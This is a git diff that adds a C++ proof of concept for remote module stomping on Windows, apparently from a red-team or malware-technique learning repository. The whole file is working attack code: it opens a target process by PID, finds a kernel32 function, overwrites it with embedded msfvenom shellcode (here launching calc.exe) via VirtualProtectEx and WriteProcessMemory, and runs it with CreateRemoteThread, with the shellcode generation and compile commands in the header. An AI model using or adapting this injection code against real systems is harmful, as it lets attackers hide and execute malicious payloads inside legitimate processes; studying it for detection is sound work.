diff --git a/module-stomping/remote-stomp.cpp b/module-stomping/remote-stomp.cpp new file mode 100644 index 0000000..9991407 --- /dev/null +++ b/module-stomping/remote-stomp.cpp @@ -0,0 +1,142 @@ +/* +* remote module stomping: locate a sacrificial DLL in the process memory, locate a function to stomp (it'll be within the .text section, this is lazy) +* & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX +* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread +* compile: cl.exe remote-stomp.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /W0 /D"UNICODE" /D"_UNICODE" +*/ +#include +#include + +#include "..\includes\peb-eat-utils.h" +#include "..\includes\utils.h" + +int main(int argc, char *argv[]) { + unsigned char buf[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + + if(argc < 2) { + printf("PID required.\n"); + return -1; + } + + // target process ID + DWORD pid = 0; + + pid = my_atoi(argv[1]); + if(pid == 0) { + printf("[ERROR] Failed to obtain process ID!\n"); + return -1; + } + + printf("[*] Running PI with target PID: %u\n", pid); + + // Open a handle to the current process, this must be passed to VirtualAllocEx + HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + if(pHandle == NULL) { + printf("Failed to acquire process handle!\n"); + return -1; + } + printf("[*] Successfully opened handle to PID: %u\n", pid); + + PVOID remotePebAddr = GetRemotePebAddress(pHandle); + if(!remotePebAddr) { + printf("[*] ERROR: Failed to find the PEB address. Error %lu\n", GetLastError()); + return -1; + } + + printf("[*] Target PEB located at: : 0x%016llx\n", remotePebAddr); + + // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks + // Assuming peb_address holds the valid memory location of the PEB + PPEB peb_ptr = (PPEB)remotePebAddr; + + printf("[*] Attempting to locate the module base.\n"); + PVOID targetModuleBase = GetModuleBaseManualRemote(pHandle, peb_ptr, "KERNEL32.dll"); + if(!targetModuleBase) { + printf("[ERROR] Failed to locate target module base.\n"); + return -1; + } + + printf("[*] Target DLL base located at: : 0x%016llx\n", targetModuleBase); + + // Finding the .text section bounds, are we going to do anything with this? + IMAGE_SECTION_INFO textSection = { 0 }; + if (GetRemoteModuleSection(pHandle, targetModuleBase, ".text", &textSection)) { + printf("[+] Found .text Section at: 0x%p (Size: %lu bytes)\n", + textSection.VirtualAddress, textSection.SizeOfRawData); + } else { + printf("No .text Section found.\n"); + } + + LPVOID bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, "FileTimeToSystemTime"); + if (bufferAddress == NULL) { + printf("[ERROR] Failed to locate target function FileTimeToSystemTime! Error: %lu\n", pid, GetLastError()); + return -1; + } + printf("[*] Target ntdll.dll!FileTimeToSystemTime located at: : 0x%016llx\n", bufferAddress); + + printf("[*] Flipping memory protection to RW.\n"); + // Update the memory protection value to RW + DWORD lpOldProtect = NULL; + BOOL updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); + if(updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + return -1; + } + + printf("[*] Writing to buffer.\n"); + // Write the shellcode to the block of memory that we located` + BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL); + if(writeShellcode == false) { + printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + return -1; + } + + printf("[*] Flipping memory protection back to RX.\n"); + // Update the memory protection value from RW to RX + lpOldProtect = NULL; + updateMemoryProtection = VirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READ, &lpOldProtect); + if (updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + return -1; + } + + printf("[*] Creating a new thread.\n"); + // Create a new thread using the shellcode buffer address as the starting point + HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); + if (tHandle == NULL) { + printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); + return -1; + } + + // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner + printf("[*] Waiting for the thread to return...\n"); + WaitForSingleObject(tHandle, INFINITE); + + // Clean up open handles and free the shellcode buffer memory + CloseHandle(pHandle); + CloseHandle(tHandle); + + printf("[*] Process injection complete.\n"); + + return 0; +} \ No newline at end of file